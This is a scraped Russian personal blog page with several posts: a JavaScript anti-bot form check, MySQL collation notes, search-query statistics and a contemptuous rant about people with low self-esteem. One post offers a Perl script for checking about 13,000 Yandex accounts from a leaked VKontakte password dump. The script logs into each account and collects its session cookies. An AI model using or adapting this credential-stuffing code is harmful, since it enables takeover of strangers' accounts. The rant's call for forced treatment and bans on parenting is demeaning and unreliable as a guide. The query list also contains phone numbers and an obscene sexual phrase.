Новая защита от ботов в формах

Не знаю насколько нова идея — но подумал и сразу изобразил.

Суть в том, чтобы пойти от обратного по идее — лишнее поле для бота. Только заполнять поле самим и на JavaScript. Если поле не приходит — значит POST или GET отправлялся напрямую. Ну и JS ещё не все умеют обрабатывать.

Конечно, не спасает от прицельной атаки на формочку.

<?
session_start();
if(!$_SESSION[‘sum’]) {
$_SESSION[‘k_1’] = rand(0,999);
$_SESSION[‘k_2’] = rand(0,999);
$_SESSION[‘sum’] = $_SESSION[‘k_1’] + $_SESSION[‘k_2’];
}

if ($_POST[‘name’]) {
if(!$_SESSION[‘sum’] || !$_POST[‘key’] || $_SESSION[‘sum’] != $_POST[‘key’]){
die(‘BAD’);
}
$_SESSION[‘sum’] = 0;
// некие дальнейшие действия
echo ‘OK’;
}
?>

<html>
<head>
<script>
eval(function(p,a,c,k,e,r){e=String;if(!».replace(/^/,String)){while(c—)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c—)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘0 1(){2.3(\’4\’).5=6+7}’,8,8,’function|k|document|getElementById|key|value|<?=$_SESSION[‘k_1’]?>|<?=$_SESSION[‘k_2′]?>’.split(‘|’),0,{}))
</script>
</head>
<body>
<form>
<input type=’hidden’ id=’key’ name=’key’>
Введите имя: <input type=’text’ name=’name’><br>
<input type=’submit’>
</form>
</body>
</html>

Проверялка паролей Яндекса

В свете последних событий насчёт Вконтакте — выложенный дамп 130 тысяч пользовательских логинов и паролей — получение кук с Яндекса — таких почт в этом дампе около 13 тысяч.


sub yandexLogin {
my ($login, $password, $ip) = @_;
croak('Login needed') if !$login;
croak('Login needed') if !$password;
$login =~ s/@.*//;
$password = uri_escape($password);
my $ag = q[MegaHacker];
@LWP::Protocol::http::EXTRA_SOCK_OPTS = (@LWP::Protocol::http::EXTRA_SOCK_OPTS, LocalAddr => $ip) if $ip;
my $href = q[https://passport.yandex.ru/passport?mode=auth];
my $ua = LWP::UserAgent->new(keep_alive => 1, cookie_jar => HTTP::Cookies->new, timeout => 60);
$ua->agent($ag);
$ua->default_header('Referer' => "https://passport.yandex.ru/");
$ua->default_header('Content-Type'=>q[application/x-www-form-urlencoded;]);
my $x = $ua->post($href, {
login => $login,
passwd => $password,
twoweeks => q[yes]
});
my @cookies;
push(@cookies,q[yandex_mail=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[yandex_login=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_login}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[yandex_fio=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_fio}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[L=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{L}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[yandex_nickname=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_nickname}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[Session_id=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{Session_id}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
return \@cookies;
}

MySQL — пробел в конце varchar

Не знаю — многие ли знают о этой документированной фиче — столкнулись с ней только сегодня.

Произвольная таблица test имеет поле text типа VARCHAR 255, для чистоты эксперимента кодировка UTF8_BIN.

INSERT INTO test SET text=’тест’;
INSERT INTO test SET text=’тест ‘; — на конце пробел

SELECT * FROM test WHERE text=’тест’; — выберет нам оба значения.

Лезем в документацию —

Таким образом, для активного использования остаются 3 поля. Они отличаются:

1. Использованием charset — т.е. наличием перекодировки в процессе ввода/вывода в зависимости от charset таблицы/колонки/юзера.
2. Учитыванием регистра при сравнении, сортировке и проверок на уникальность поля.
3. Игнорированием конечных пробелов при сравнении, сортировке и проверках на уникальность поля.

Тип поля Максимальный размер Поддержка charset Учитывает регистр Игнорирует конечный пробел
VARCHAR 65535 + +
VARCHAR BINARY 65535 + + +
VARBINARY 65535 +

Выборка регистрозависимых данных из MySQL

Типовая, казалось бы, задачка. Выбрать из таблицы данные, зависимые от регистра.

А вот как бы проблема, да? Потому что таблица имеет на полях utf8_general_ci — что значит что она регистронезависима.

mysql> SHOW CREATE TABLE test \G
*************************** 1. row ***************************
Table: test
Create Table: CREATE TABLE `test` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`text` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8
1 row in set (0.00 sec)

Читать пост целиком »

HP Compaq HDX

Чорт побери! Ноут двух дней жизни сегодня почил смертью храбрых — сначала отказал блок питания, а потом он просто перестал дышать :(

Отвёз обратно в магазин, обещали поменять в течении 10 дней.

Теперь 1440×900 кажутся обрезком по сравнению с FullHD :((((((((

Феномен лузерства

Новиков опять разродился умной статьёй, которую я, в свою очередь, поддерживаю и абсолютно с ней согласен. (в ссылке поставил акцент на отменный комментарий, подводящий фактически резюме всей статьи)

Читать пост целиком »

Скрипт логина Вконтакте на Perl

НЕРАБОЧИЙ — Рабочий логин вконтакте выложил тут — http://www.skazkin.ru/p/novyj-login-vkontakte-perl-curl.html#comments

Пример использования:

  1. my $cookies = getLogin({login=>q[user@email.ru],password=>q[123456]});

В результате получаем или ссылку на массив с куками, которые мы потом можем использовать для логина, или же undef. Под катом сам сниппет.

Читать пост целиком »

Запросы в Яндекс на анекдоты.

По каким запросам может вылазить сайт анекдотов в выдаче Яндекса? (там ниже — статистика по Гуглу ещё)

чукчу спрашивают оргазм, это как? —49 место
ковтун иван 8 952 221 13 61 —43 место
чукчу спрашивают оргазм, это как? кушал анекдот —33 место
п/п 51884 180 полк 40 армия —32 место
госметеоцентр —30 место
чэловек паук —29 место
чукчу спрашивают оргазм, это как? кушал —29 место
результатах поисковиков по запросу «всякая хуйня»? —17 место
камаз 55117 —17 место
самые смешные анекдоты —13 место
+9 929 516 366 43 —10 место
8 914 552 97 19-какой страны этот номер? —10 место
(961)0029550 брянск —9 место
много парней ебут девочку женю у трактира —9 место
ролс ройс 777 97 регион —9 место
самое дешевое такси в москве 955 —8 место
о. голубев ft. к. седло — рай —7 место
олег шебуневич —6 место
шнур золотая баба —5 место
одноклассники.ru армия в/ч 48284 —5 место
собака шай-пей —5 место
илья и влажи —4 место
лучшие анекдоты читать —4 место
ghj,ktvs sru 7140 —2 место
сакура асцветает —1 место

Гугл в отличие от говнопоиска Яндекса весьма умён:

7 4% смешные анекдоты про вовочку 5
14 1% новые анекдоты про вовочку 7
12 3% анекдоты лучшие 8
13 1% анекдоты читать 8
19 1% анекдоты смешные 8
20 1% лудшие анегдоты 8
5 4% читать анекдоты 9
15 1% анекдот про вовочку 9
16 1% лучшие анекдоты недели 9
17 1% анекдоты самые смешные 10
10 3% очень смешные анекдоты 12
2 13% лучшие анекдоты 14
8 4% смешные анекдоты 14
18 1% анекдоты про 14
4 6% короткие анекдоты 17
6 4% анекдоты про вовочку 18
9 4% самые смешные анекдоты 18
3 10% анекдот 20
11 3% анекдоты про блондинок 28
1 25% анекдоты 50

XCKD — Они зарыты

я обожаю эти комиксы

Люди с низкой самооценкой

Люди с низкой самооценкой (ЛНС) — это пипец.

Люди с низкой самооценкой неадекватно реагируют на критику. Они все воспринимают на свой счет. Все люди совершают ошибки. Когда разбираешь ошибку с адекватным человеком, он все понимает, разговор ведется конструктивный. Человек с низкой самооценкой воспринимает разбор ситуации как оскорбление, душевную травму, свидетельство своей неполноценности. Низкая самооценка мешает ему отделить себя от ситуации, себя от своей ошибки.

Когда вы нуждаетесь в здравой критике, не рассчитывайте получить ее от человека с низкой самооценкой. Вместо разбора ошибок вы получите ножичек, воткнутый в спину неуверенной ручонкой жалкого человечишки. ЛНС скорее попытается использовать ваш промах против вас. Даже не для того, чтобы самому занять ваше место, нет. Макнуть другого в то же говно, в котором он сам варится всю жизнь — самый доступный для него способ самоутверждения.

Людей с низкой самооценкой очень трудно чему-либо научить. Когда рассказываешь им что-то новое, они считают, что таким образом им показывают на их глупость или иные недостатки. Даже если таких недостатков нет, они сами себе их выдумают. Или выдумают, будто вы пытаетесь таким образом указать на их несовершенство.

Люди с низкой самооценкой — отвратительные работники. Работа для них — наказание. Скажем, возникла реальная производственная необходимость убрать говно с крыльца. Нормальному человеку и в голову не придет, что его таким образом «пытаются унизить». У ЛНСа же такое поручение вызовет протест. Он будет уверен, что его отправили убрать говно не потому, что это необходимо сделать, ибо воняет, а потому, что «ему хотят показать, что он только этого и достоин». Даже личный пример не поставит на место мозги особо запущенному ЛНСу.

Некоторые ЛНСы пытаются спрятать свою низкую самооценку за ширмой «агрессивного поведения». Они склонны к постоянным попыткам самоутверждения. Но ладно бы они самоутверждались, достигая чего-либо. Они прибегают к самому гнусному и дешевому способу — унизить другого. На работе это выливается в срывы совещаний и обсуждений, саботирование поручений, подставы, моббинг.

Люди с низкой самооценкой смелеют, когда объединяются в стаи. Мне страшно представить, сколько судеб было сломано лишь потому, что стая ничтожных упырков саботировала работу нового члена коллектива.

Особенно часто это случается, когда в коллектив великовозрастных, ничего не добившихся ничтожеств, назначают начальником человека, который существенно моложе их:

— Давайте проучим этого выскочку (конечно, вдруг он добьется еще большего, а ты так и будешь до конца жизни злобно шипеть по углам).
— Она слишком самоуверенная, у нее завышенное ЧCВ (не всем же быть тварями дрожащими).
— Ну и самомнение у вас (нет, это у вас заниженная самооценка).
— А чего это его назначили, я тут уже пять лет работаю (не надо было штаны протирать и бояться слово вставить).

Низкая самооценка лежит в основе феномена, который я назвал «вонючее лузерье». Кстати, я скоро выложу тут заметку про лузеров, которую я когда-то готовил для одного журнала, немного переписанную для «Хабра».

Бесконечное самокопание и зависимость от чужих оценок делает ЛНСов подавленными, вгоняет их в тоску и депрессию. Вместо того чтобы менять себя и чего-то добиваться, они постоянно жамкают липкий вонючий комок своих комплексов.

Общаться с ними очень трудно. Я уже говорил, как они воспринимают критику. Похвалу и комплименты они воспринимают еще хуже. Им кажется, что это лесть, попытка использовать их.

Очень часто вокруг ЛНСа стоит тошнотворный фон. Это ЛНС тошнотворно ноет. Все у него хреново, все у него не так, все его обижают, жизнь дерьмо, работа херня. Это раздражает.

Людям с низкой самооценкой нельзя давать никаких рычагов влияния. Во избежание катастрофы.

Людей с заниженной самооценкой я бы отправлял на принудительное лечение, запрещал бы им воспитывать детей, заниматься педагогической работой, а также объединяться в группы более двух человек.

Кстати, еще одна черточка ЛНСов: они мнительны, везде узнают себя и страшно обижаются. Узнавшим себя привет, добро пожаловать в каменты, приступайте к сплошному подряд-минусованию ;-) Остальные радуются жизни! :-)